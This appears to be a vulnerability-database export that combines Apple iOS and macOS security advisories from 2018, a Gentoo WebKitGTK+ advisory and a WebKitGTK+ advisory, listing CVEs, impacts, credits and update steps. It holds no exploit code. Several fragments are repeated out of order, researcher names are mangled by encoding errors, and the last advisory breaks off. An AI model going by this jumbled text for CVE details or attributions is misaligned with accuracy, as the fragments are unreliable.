applying the update immediately if possible. Selecting Don't Install
will present the option the next time you connect your iOS device.
The automatic update process may take up to a week depending on the
day that iTunes or the device checks for updates. You may manually
obtain the update via the Check for Updates button within iTunes, or
the Software Update on your device.
To check that the iPhone, iPod touch, or iPad has been updated:
* Navigate to Settings
* Select General
* Select About. The version after applying this update
will be "11.2.5".
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE-----
iQJdBAEBCgBHFiEEcuX4rtoRe4X62yWlg6PvjDRstEYFAlpng6cpHHByb2R1Y3Qt
c2VjdXJpdHktbm9yZXBseUBsaXN0cy5hcHBsZS5jb20ACgkQg6PvjDRstEbJVxAA
y2gRrvCCEzescN0fgqNk8zIGqaiFRKXYEyuaHMgXjrJIh8OlBgLb3pegU6MFfTsv
SjNLDKvPIOW/2vV8ilS6ot32DB4VTANjHKCWTs3jmJrQlWh2VZKvPnzyOiQ0zK2g
Btt4+1ZYipRuCyWkf0oatW9JHsCscVexzERyczywBdEzx1mCnCF4N3uOYU0T3Nx2
7Wz92GnvTAnJWjlCJEK1wq/YCntEFhssBVmsWQU1LVPFHoh8uPa87iE/+P1t0CY1
IQLloYmPoX9GIS/CB7XAsEsz3RquE8n/DigSvsApkrl6Judv/HgCYe5GJcwIIemi
1RyNXtj3/+CVZYSwC2Fo/CSyph1M+td79Klqy4gdCVt0KnlmwkKhSexhuQsKn68A
/WTcOK7aidcdVuQpjUJAc3pJunl0zHg5bCJRzrb2NdFEoYT0V+kxLEKGlOWRLhXv
NSn9+f7pMykSCbfo9U9HkYm68JDtN/WANMCJccF66iQYjEhg0Rgok3oKhNOhakwH
HDYunzqF2dEql4WiAKiEAHwVVQ5gJtjDWest6s6UW58fiT2fxufaJav5gczv/wmy
km/doFT9+BKmRXygwXdR6P3oRFhZmeLVvjtKpfjPzuIvHkwS7wlOw3aWnZ0rMijm
pp7WyqEojXjOxyZjTeBM3A7ssxIuO5BoLtIHgT4GSNg=
=F6+9
-----END PGP SIGNATURE-----
. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 201803-11
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
https://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: Normal
Title: WebKitGTK+: Multiple Vulnerabilities
Date: March 22, 2018
Bugs: #645686
ID: 201803-11
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
Multiple vulnerabilities have been found in WebKitGTK+, the worst of
which may lead to arbitrary code execution.
Background
==========
WebKitGTK+ is a full-featured port of the WebKit rendering engine,
suitable for projects requiring any kind of web integration, from
hybrid HTML/CSS applications to full-fledged web browsers.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-libs/webkit-gtk < 2.18.6 >= 2.18.6
Description
===========
Multiple vulnerabilities have been discovered in WebKitGTK+. Please
review the referenced CVE identifiers for details.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All WebKitGTK+ users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-libs/webkit-gtk-2.18.6"
References
==========
[ 1 ] CVE-2017-13884
https://nvd.nist.gov/vuln/detail/CVE-2017-13884
[ 2 ] CVE-2017-13885
https://nvd.nist.gov/vuln/detail/CVE-2017-13885
[ 3 ] CVE-2017-7153
https://nvd.nist.gov/vuln/detail/CVE-2017-7153
[ 4 ] CVE-2017-7160
https://nvd.nist.gov/vuln/detail/CVE-2017-7160
[ 5 ] CVE-2017-7161
https://nvd.nist.gov/vuln/detail/CVE-2017-7161
[ 6 ] CVE-2017-7165
https://nvd.nist.gov/vuln/detail/CVE-2017-7165
[ 7 ] CVE-2018-4088
https://nvd.nist.gov/vuln/detail/CVE-2018-4088
[ 8 ] CVE-2018-4089
https://nvd.nist.gov/vuln/detail/CVE-2018-4089
[ 9 ] CVE-2018-4096
https://nvd.nist.gov/vuln/detail/CVE-2018-4096
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
https://security.gentoo.org/glsa/201803-11
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2018 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
https://creativecommons.org/licenses/by-sa/2.5
.
Alternatively, on your watch, select "My Watch > General > About"
| VAR-201804-1203 | CVE-2018-4089 | plural Apple Used in products Webkit Vulnerability in arbitrary code execution in components |
CVSS V2: 6.8 CVSS V3: 8.8 Severity: HIGH |
An issue was discovered in certain Apple products. iOS before 11.2.5 is affected. macOS before 10.13.3 is affected. Safari before 11.0.3 is affected. tvOS before 11.2.5 is affected. The issue involves the "WebKit" component. It allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site. WebKit is prone to a memory corruption vulnerability. Failed exploit attempts may result in a denial-of-service condition. Apple Safari, tvOS, macOS High Sierra, and iOS are all products of the US company Apple. Apple Safari is a web browser that comes with the Mac OS X and iOS operating systems; tvOS is a smart TV operating system; macOS High Sierra is a dedicated operating system developed for Mac computers; iOS It is an operating system developed for mobile devices. WebKit is an open source web browser engine developed by the KDE community and is currently used by browsers such as Apple Safari and Google Chrome. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
APPLE-SA-2018-1-23-1 iOS 11.2.5
iOS 11.2.5 is now available and addresses the following:
Audio
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted audio file may lead to
arbitrary code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2018-4094: Mingi Cho, MinSik Shin, Seoyoung Kim, Yeongho Lee and
Taekyoung Kwon of the Information Security Lab, Yonsei University
Core Bluetooth
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4087: Rani Idan (@raniXCH) of Zimperium zLabs Team
CVE-2018-4095: Rani Idan (@raniXCH) of Zimperium zLabs Team
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A memory initialization issue was addressed through
improved memory handling.
CVE-2018-4090: Jann Horn of Google Project Zero
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A race condition was addressed through improved locking.
CVE-2018-4092: an anonymous researcher
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A malicious application may be able to execute arbitrary code
with kernel privileges
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2018-4082: Russ Cox of Google
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2018-4093: Jann Horn of Google Project Zero
LinkPresentation
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted text message may lead to
application denial of service
Description: A resource exhaustion issue was addressed through
improved input validation.
CVE-2018-4085: Ret2 Systems Inc. working with Trend Micro's Zero Day
Initiative
Security
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A certificate may have name constraints applied incorrectly
Description: A certificate evaluation issue existed in the handling
of name constraints.
CVE-2018-4086: Ian Haken of Netflix
WebKit
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: Multiple memory corruption issues were addressed with
improved memory handling.
CVE-2018-4088: Jeonghoon Shin of Theori
CVE-2018-4089: Ivan Fratric of Google Project Zero
CVE-2018-4096: found by OSS-Fuzz
Installation note:
This update is available through iTunes and Software Update on your
iOS device, and will not appear in your computer's Software Update
application, or in the Apple Downloads site. Make sure you have an
Internet connection and have installed the latest version of iTunes
from https://www.apple.com/itunes/
iTunes and Software Update on the device will automatically check
Apple's update server on its weekly schedule. When an update is
detected, it is downloaded and the option to be installed is
presented to the user when the iOS device is docked. We recommend
applying the update immediately if possible. Selecting Don't Install
will present the option the next time you connect your iOS device.
The automatic update process may take up to a week depending on the
day that iTunes or the device checks for updates. You may manually
obtain the update via the Check for Updates button within iTunes, or
the Software Update on your device.
To check that the iPhone, iPod touch, or iPad has been updated:
* Navigate to Settings
* Select General
* Select About.
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE-----
iQJdBAEBCgBHFiEEcuX4rtoRe4X62yWlg6PvjDRstEYFAlpng6cpHHByb2R1Y3Qt
c2VjdXJpdHktbm9yZXBseUBsaXN0cy5hcHBsZS5jb20ACgkQg6PvjDRstEbJVxAA
y2gRrvCCEzescN0fgqNk8zIGqaiFRKXYEyuaHMgXjrJIh8OlBgLb3pegU6MFfTsv
SjNLDKvPIOW/2vV8ilS6ot32DB4VTANjHKCWTs3jmJrQlWh2VZKvPnzyOiQ0zK2g
Btt4+1ZYipRuCyWkf0oatW9JHsCscVexzERyczywBdEzx1mCnCF4N3uOYU0T3Nx2
7Wz92GnvTAnJWjlCJEK1wq/YCntEFhssBVmsWQU1LVPFHoh8uPa87iE/+P1t0CY1
IQLloYmPoX9GIS/CB7XAsEsz3RquE8n/DigSvsApkrl6Judv/HgCYe5GJcwIIemi
1RyNXtj3/+CVZYSwC2Fo/CSyph1M+td79Klqy4gdCVt0KnlmwkKhSexhuQsKn68A
/WTcOK7aidcdVuQpjUJAc3pJunl0zHg5bCJRzrb2NdFEoYT0V+kxLEKGlOWRLhXv
NSn9+f7pMykSCbfo9U9HkYm68JDtN/WANMCJccF66iQYjEhg0Rgok3oKhNOhakwH
HDYunzqF2dEql4WiAKiEAHwVVQ5gJtjDWest6s6UW58fiT2fxufaJav5gczv/wmy
km/doFT9+BKmRXygwXdR6P3oRFhZmeLVvjtKpfjPzuIvHkwS7wlOw3aWnZ0rMijm
pp7WyqEojXjOxyZjTeBM3A7ssxIuO5BoLtIHgT4GSNg=
=F6+9
-----END PGP SIGNATURE-----
.
CVE-2018-4098: Siguza
Kernel
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: An application may be able to read kernel memory (Meltdown)
Description: Systems with microprocessors utilizing speculative
execution and indirect branch prediction may allow unauthorized
disclosure of information to an attacker with local user access via
a side-channel analysis of the data cache.
CVE-2017-5754: Jann Horn of Google Project Zero; Moritz Lipp of
Graz University of Technology; Michael Schwarz of Graz University of
Technology; Daniel Gruss of Graz University of Technology;
Thomas Prescher of Cyberus Technology GmbH; Werner Haas of Cyberus
Technology GmbH; Stefan Mangard of Graz University of Technology;
Paul Kocher; Daniel Genkin of University of Pennsylvania and
University of Maryland; Yuval Yarom of University of Adelaide and
Data61; and Mike Hamburg of Rambus (Cryptography Research Division)
Kernel
Available for: macOS High Sierra 10.13.2
Impact: An application may be able to read restricted memory
Description: A memory initialization issue was addressed through
improved memory handling.
CVE-2018-4097: Resecurity, Inc. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 201803-11
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
https://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: Normal
Title: WebKitGTK+: Multiple Vulnerabilities
Date: March 22, 2018
Bugs: #645686
ID: 201803-11
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
Multiple vulnerabilities have been found in WebKitGTK+, the worst of
which may lead to arbitrary code execution.
Background
==========
WebKitGTK+ is a full-featured port of the WebKit rendering engine,
suitable for projects requiring any kind of web integration, from
hybrid HTML/CSS applications to full-fledged web browsers.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-libs/webkit-gtk < 2.18.6 >= 2.18.6
Description
===========
Multiple vulnerabilities have been discovered in WebKitGTK+. Please
review the referenced CVE identifiers for details.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All WebKitGTK+ users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-libs/webkit-gtk-2.18.6"
References
==========
[ 1 ] CVE-2017-13884
https://nvd.nist.gov/vuln/detail/CVE-2017-13884
[ 2 ] CVE-2017-13885
https://nvd.nist.gov/vuln/detail/CVE-2017-13885
[ 3 ] CVE-2017-7153
https://nvd.nist.gov/vuln/detail/CVE-2017-7153
[ 4 ] CVE-2017-7160
https://nvd.nist.gov/vuln/detail/CVE-2017-7160
[ 5 ] CVE-2017-7161
https://nvd.nist.gov/vuln/detail/CVE-2017-7161
[ 6 ] CVE-2017-7165
https://nvd.nist.gov/vuln/detail/CVE-2017-7165
[ 7 ] CVE-2018-4088
https://nvd.nist.gov/vuln/detail/CVE-2018-4088
[ 8 ] CVE-2018-4089
https://nvd.nist.gov/vuln/detail/CVE-2018-4089
[ 9 ] CVE-2018-4096
https://nvd.nist.gov/vuln/detail/CVE-2018-4096
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
https://security.gentoo.org/glsa/201803-11
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2018 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
https://creativecommons.org/licenses/by-sa/2.5
. ------------------------------------------------------------------------
WebKitGTK+ Security Advisory WSA-2018-0002
------------------------------------------------------------------------
Date reported : January 24, 2018
Advisory ID : WSA-2018-0002
Advisory URL : https://webkitgtk.org/security/WSA-2018-0002.html
CVE identifiers : CVE-2018-4088, CVE-2018-4089, CVE-2018-4096,
CVE-2017-7153, CVE-2017-7160, CVE-2017-7161,
CVE-2017-7165, CVE-2017-13884, CVE-2017-13885.
Several vulnerabilities were discovered in WebKitGTK+.
Credit to Jeonghoon Shin of Theori. Description: Multiple memory corruption
issues were addressed with improved memory handling.
Credit to Ivan Fratric of Google Project Zero. Description: Multiple memory corruption
issues were addressed with improved memory handling.
Credit to OSS-Fuzz. Description: Multiple memory corruption
issues were addressed with improved memory handling.
Credit to Jerry Decime.
Impact: Visiting a malicious website may lead to user interface
spoofing. Description: Redirect responses to 401 Unauthorized may
allow a malicious website to incorrectly display the lock icon on
mixed content. This issue was addressed through improved URL display
logic.
Credit to Richard Zhu (fluorescence) working with Trend Micro's Zero
Day Initiative. Description: Multiple memory corruption
issues were addressed with improved memory handling.
Credit to Mitin Svyat. Description: A command injection issue
existed in Web Inspector. This issue was addressed through improved
escaping of special characters.
Credit to 360 Security working with Trend Micro's Zero Day
Initiative. Description: Multiple memory corruption
issues were addressed with improved memory handling.
Credit to 360 Security working with Trend Micro's Zero Day
Initiative. Description: Multiple memory corruption
issues were addressed with improved memory handling.
Credit to 360 Security working with Trend Micro's Zero Day
Initiative. Description: Multiple memory corruption
issues were addressed with improved memory handling.
We recommend updating to the last stable version of WebKitGTK+. It is
the best way of ensuring that you are running a safe version of
WebKitGTK+. Please check our website for information about the last
stable releases.
Further information about WebKitGTK+ Security Advisories can be found
at: https://webkitgtk.org/security.html
The WebKitGTK+ team,
January 24, 2018
| VAR-201804-1144 | CVE-2018-4084 | Apple macOS of Wi-Fi Vulnerability that bypasses memory read restrictions in components |
CVSS V2: 4.3 CVSS V3: 5.5 Severity: MEDIUM |
An issue was discovered in certain Apple products. macOS before 10.13.3 is affected. The issue involves the "Wi-Fi" component. It allows attackers to bypass intended memory-read restrictions via a crafted app. Apple macOS of Wi-Fi A component contains a vulnerability that bypasses memory read restrictions.An attacker could bypass the memory read limit through a crafted application. Apple macOS is prone to multiple security vulnerabilities.
Attackers can exploit these issues to bypass security restrictions, execute arbitrary code and perform unauthorized action; this may aid in launching further attacks. Apple macOS High Sierra is a set of dedicated operating systems developed by Apple (Apple) for Mac computers. Wi-Fi is one of the wireless Internet access components. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
APPLE-SA-2018-1-23-2 macOS High Sierra 10.13.3,
Security Update 2018-001 Sierra,
and Security Update 2018-001 El Capitan
macOS High Sierra 10.13.3, Security Update 2018-001 Sierra, and
Security Update 2018-001 El Capitan are now available and address
the following:
Audio
Available for: macOS High Sierra 10.13.2, macOS Sierra 10.12.6
Impact: Processing a maliciously crafted audio file may lead to
arbitrary code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2018-4094: Mingi Cho, MinSik Shin, Seoyoung Kim, Yeongho Lee and
Taekyoung Kwon of the Information Security Lab, Yonsei University
curl
Available for: macOS High Sierra 10.13.2
Impact: Multiple issues in curl
Description: An out-of-bounds read issue existed in the curl. This
issue was addressed through improved bounds checking.
CVE-2017-8817: found by OSS-Fuzz
IOHIDFamily
Available for: macOS High Sierra 10.13.2, macOS Sierra 10.12.6,
OS X El Capitan 10.11.6
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4098: Siguza
Kernel
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: An application may be able to read kernel memory (Meltdown)
Description: Systems with microprocessors utilizing speculative
execution and indirect branch prediction may allow unauthorized
disclosure of information to an attacker with local user access via
a side-channel analysis of the data cache.
CVE-2017-5754: Jann Horn of Google Project Zero; Moritz Lipp of
Graz University of Technology; Michael Schwarz of Graz University of
Technology; Daniel Gruss of Graz University of Technology;
Thomas Prescher of Cyberus Technology GmbH; Werner Haas of Cyberus
Technology GmbH; Stefan Mangard of Graz University of Technology;
Paul Kocher; Daniel Genkin of University of Pennsylvania and
University of Maryland; Yuval Yarom of University of Adelaide and
Data61; and Mike Hamburg of Rambus (Cryptography Research Division)
Kernel
Available for: macOS High Sierra 10.13.2
Impact: An application may be able to read restricted memory
Description: A memory initialization issue was addressed through
improved memory handling.
CVE-2018-4090: Jann Horn of Google Project Zero
Kernel
Available for: macOS High Sierra 10.13.2
Impact: An application may be able to read restricted memory
Description: A race condition was addressed through improved locking.
CVE-2018-4092: an anonymous researcher
Kernel
Available for: macOS High Sierra 10.13.2, macOS Sierra 10.12.6,
OS X El Capitan 10.11.6
Impact: A malicious application may be able to execute arbitrary code
with kernel privileges
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2018-4082: Russ Cox of Google
Kernel
Available for: macOS High Sierra 10.13.2, macOS Sierra 10.12.6
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A logic issue was addressed with improved validation.
CVE-2018-4097: Resecurity, Inc.
Kernel
Available for: macOS High Sierra 10.13.2
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2018-4093: Jann Horn of Google Project Zero
LinkPresentation
Available for: macOS High Sierra 10.13.2, macOS Sierra 10.12.6.2
Impact: Processing a maliciously crafted text message may lead to
application denial of service
Description: A resource exhaustion issue was addressed through
improved input validation.
CVE-2018-4100: Abraham Masri (@cheesecakeufo)
QuartzCore
Available for: macOS High Sierra 10.13.2, macOS Sierra 10.12.6,
OS X El Capitan 10.11.6
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: A memory corruption issue existed in the processing of
web content. This issue was addressed through improved input
validation.
CVE-2018-4085: Ret2 Systems Inc. working with Trend Micro's Zero Day
Initiative
Sandbox
Available for: macOS High Sierra 10.13.2
Impact: A sandboxed process may be able to circumvent sandbox
restrictions
Description: An access issue was addressed through additional sandbox
restrictions.
CVE-2018-4091: Alex Gaynor of Mozilla
Security
Available for: macOS High Sierra 10.13.2, macOS Sierra 10.12.6
Impact: A certificate may have name constraints applied incorrectly
Description: A certificate evaluation issue existed in the handling
of name constraints. This issue was addressed through improved trust
evaluation of certificates.
CVE-2018-4086: Ian Haken of Netflix
WebKit
Available for: macOS High Sierra 10.13.2
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: Multiple memory corruption issues were addressed with
improved memory handling.
CVE-2018-4088: Jeonghoon Shin of Theori
CVE-2018-4089: Ivan Fratric of Google Project Zero
CVE-2018-4096: found by OSS-Fuzz
Wi-Fi
Available for: macOS High Sierra 10.13.2, macOS Sierra 10.12.6,
OS X El Capitan 10.11.6
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2018-4084: Hyung Sup Lee of Minionz, You Chan Lee of Hanyang
University
Installation note:
macOS High Sierra 10.13.3, Security Update 2018-001 Sierra,
and Security Update 2018-001 El Capitan may be obtained from the
Mac App Store or Apple's Software Downloads web site:
https://support.apple.com/downloads/
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE-----
iQJdBAEBCgBHFiEEcuX4rtoRe4X62yWlg6PvjDRstEYFAlpnnmApHHByb2R1Y3Qt
c2VjdXJpdHktbm9yZXBseUBsaXN0cy5hcHBsZS5jb20ACgkQg6PvjDRstEZaqg/8
DAjzEHmWMZxkSl88DnX/Y9x39DQ1eV6O0Bsg/WQ2r6wZlRDnBOYdJtgJU0I9MjgT
JjOj6M/l+YkVS3EJHcdQqAZ6RfSSMvIcRieHJ0Lfj6bfohKRLJxuloFVKar3lAsY
fIdzqlFKqWvPY6Neto2iR7ZhTWDW7QiVwbgSR1fleEWEglWtTeJjL6mff73Mqexh
7VngVFIicrbjoFD7uY2dctgkP+no3dcFieyRWF/z8OAmAOIkAc/KMqFyj22DBDq5
hH1j07Eo0RLKMT+nPq3Vgir5JVVR68M4UvDnSDXGHmTRYaM2BT8osWqlehgFQ52F
JhqAsJsKP1Mc9WZkly8OvBbZHJcIJryTSqytOOZRQuvg6fXHPOezajcpThTntGiI
/YcmaFIt8bZ8c0GbQXTMY8YCJEHtG3zb/z+Wf0sABfzbtCt48e5CQD5HDsoZyiML
J84Sbs1Lb5XFYsdZg5iUFukIJRqYwaf69BUgMmFPTOxkBL/KH7m4BmUtLeiStLYN
ykdW2TQFEbM6ojPL9HrAyho0wdX2/G4jiemAk22fb/XQ6q9+57RyduE/MDiFW93a
2XcIzxlsRk37ISIPyEkQTF/L/DTMdnhgI+ZIwmaMwU8Hd48MMMg6MIWYctefvnyB
a1pVFFlwHCfxBWYSVI2fkKwExlNNYXCOjGsN7TSBfNc=
=pc7O
-----END PGP SIGNATURE-----
| VAR-201804-1213 | CVE-2018-4100 | plural Apple Product LinkPresentation Service disruption in components (DoS) Vulnerabilities |
CVSS V2: 5.0 CVSS V3: 7.5 Severity: HIGH |
An issue was discovered in certain Apple products. iOS before 11.2.5 is affected. macOS before 10.13.3 is affected. watchOS before 4.2.2 is affected. The issue involves the "LinkPresentation" component. It allows remote attackers to cause a denial of service (resource consumption) via a crafted text message. Apple iOS/WatchOS/macOS is prone to a denial-of-service vulnerability.
An attacker can exploit this issue to cause the resource exhaustion resulting in a denial-of-service condition. Apple iOS, macOS High Sierra, and watchOS are all products of the American company Apple (Apple). Apple iOS is an operating system developed for mobile devices; macOS High Sierra is a dedicated operating system developed for Mac computers; watchOS is a smart watch operating system. LinkPresentation is one of the presentation display components.
CVE-2018-4085: Ret2 Systems Inc.
CVE-2018-4098: Siguza
Kernel
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: An application may be able to read kernel memory (Meltdown)
Description: Systems with microprocessors utilizing speculative
execution and indirect branch prediction may allow unauthorized
disclosure of information to an attacker with local user access via
a side-channel analysis of the data cache.
CVE-2017-5754: Jann Horn of Google Project Zero; Moritz Lipp of
Graz University of Technology; Michael Schwarz of Graz University of
Technology; Daniel Gruss of Graz University of Technology;
Thomas Prescher of Cyberus Technology GmbH; Werner Haas of Cyberus
Technology GmbH; Stefan Mangard of Graz University of Technology;
Paul Kocher; Daniel Genkin of University of Pennsylvania and
University of Maryland; Yuval Yarom of University of Adelaide and
Data61; and Mike Hamburg of Rambus (Cryptography Research Division)
Kernel
Available for: macOS High Sierra 10.13.2
Impact: An application may be able to read restricted memory
Description: A memory initialization issue was addressed through
improved memory handling.
CVE-2018-4097: Resecurity, Inc. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
APPLE-SA-2018-7-23-3 Additional information for
APPLE-SA-2018-06-01-4 iOS 11.4
iOS 11.4 addresses the following:
Bluetooth
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A malicious application may be able to elevate privileges
Description: A buffer overflow was addressed with improved size
validation.
CVE-2018-4215: Abraham Masri (@cheesecakeufo)
Bluetooth
Available for: iPhone X, iPhone 8, iPhone 8 Plus,
iPad 6th generation, and iPad Air 2
Not impacted: HomePod
Impact: An attacker in a privileged network position may be able to
intercept Bluetooth traffic
Description: An input validation issue existed in Bluetooth. This
issue was addressed with improved input validation.
CVE-2018-5383: Lior Neumann and Eli Biham
Entry added July 23, 2018
Contacts
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted vcf file may lead to a
denial of service
Description: A validation issue existed in the handling of phone
numbers. This issue was addressed with improved validation of phone
numbers.
CVE-2018-4100: Abraham Masri (@cheesecakeufo)
FontParser
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted font file may lead to
arbitrary code execution
Description: A memory corruption issue was addressed with improved
validation.
CVE-2018-4211: Proteas of Qihoo 360 Nirvan Team
iBooks
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An attacker in a privileged network position may be able to
spoof password prompts in iBooks
Description: An input validation issue was addressed with improved
input validation.
CVE-2018-4202: Jerry Decime
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An attacker in a privileged position may be able to perform a
denial of service attack
Description: A denial of service issue was addressed with improved
validation.
CVE-2018-4249: Kevin Backhouse of Semmle Ltd.
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A buffer overflow was addressed with improved bounds
checking.
CVE-2018-4241: Ian Beer of Google Project Zero
CVE-2018-4243: Ian Beer of Google Project Zero
libxpc
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to gain elevated privileges
Description: A logic issue was addressed with improved validation.
CVE-2018-4237: Samuel GroA (@5aelo) working with Trend Micro's Zero
Day Initiative
Magnifier
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A person with physical access to an iOS device may be able to
view the last image used in Magnifier from the lockscreen
Description: A permissions issue existed in Magnifier. This was
addressed with additional permission checks.
CVE-2018-4239: an anonymous researcher
Mail
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An attacker may be able to exfiltrate the contents of
S/MIME-encrypted e-mail
Description: An issue existed in the handling of encrypted Mail. This
issue was addressed with improved isolation of MIME in Mail.
CVE-2018-4227: Damian Poddebniak of MA1/4nster University of Applied
Sciences, Christian Dresen of MA1/4nster University of Applied Sciences,
Jens MA1/4ller of Ruhr University Bochum, Fabian Ising of MA1/4nster
University of Applied Sciences, Sebastian Schinzel of MA1/4nster
University of Applied Sciences, Simon Friedberger of KU Leuven, Juraj
Somorovsky of Ruhr University Bochum, JAPrg Schwenk of Ruhr University
Bochum
Messages
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A local user may be able to conduct impersonation attacks
Description: An injection issue was addressed with improved input
validation.
CVE-2018-4235: Anurodh Pokharel of Salesforce.com
Messages
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted message may lead to a denial
of service
Description: This issue was addressed with improved message
validation.
CVE-2018-4240: Sriram (@Sri_Hxor) of PrimeFort Pvt. Ltd
CVE-2018-4250: Metehan YA+-lmaz of Sesim Sarpkaya
Safari
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A malicious website may be able to cause a denial of service
Description: A denial of service issue was addressed with improved
validation.
CVE-2018-4247: FranASSois Renaud, Jesse Viviano of Verizon Enterprise
Solutions
Security
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A local user may be able to read a persistent account
identifier
Description: An authorization issue was addressed with improved state
management.
CVE-2018-4223: Abraham Masri (@cheesecakeufo)
Security
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Users may be tracked by malicious websites using client
certificates
Description: An issue existed in the handling of S-MIME
certificaties. This issue was addressed with improved validation of
S-MIME certificates.
CVE-2018-4221: Damian Poddebniak of MA1/4nster University of Applied
Sciences, Christian Dresen of MA1/4nster University of Applied Sciences,
Jens MA1/4ller of Ruhr University Bochum, Fabian Ising of MA1/4nster
University of Applied Sciences, Sebastian Schinzel of MA1/4nster
University of Applied Sciences, Simon Friedberger of KU Leuven, Juraj
Somorovsky of Ruhr University Bochum, JAPrg Schwenk of Ruhr University
Bochum
Security
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A local user may be able to read a persistent device
identifier
Description: An authorization issue was addressed with improved state
management.
CVE-2018-4224: Abraham Masri (@cheesecakeufo)
Security
Available for: iPhone 5s and later, iPad Air and later, and iPod
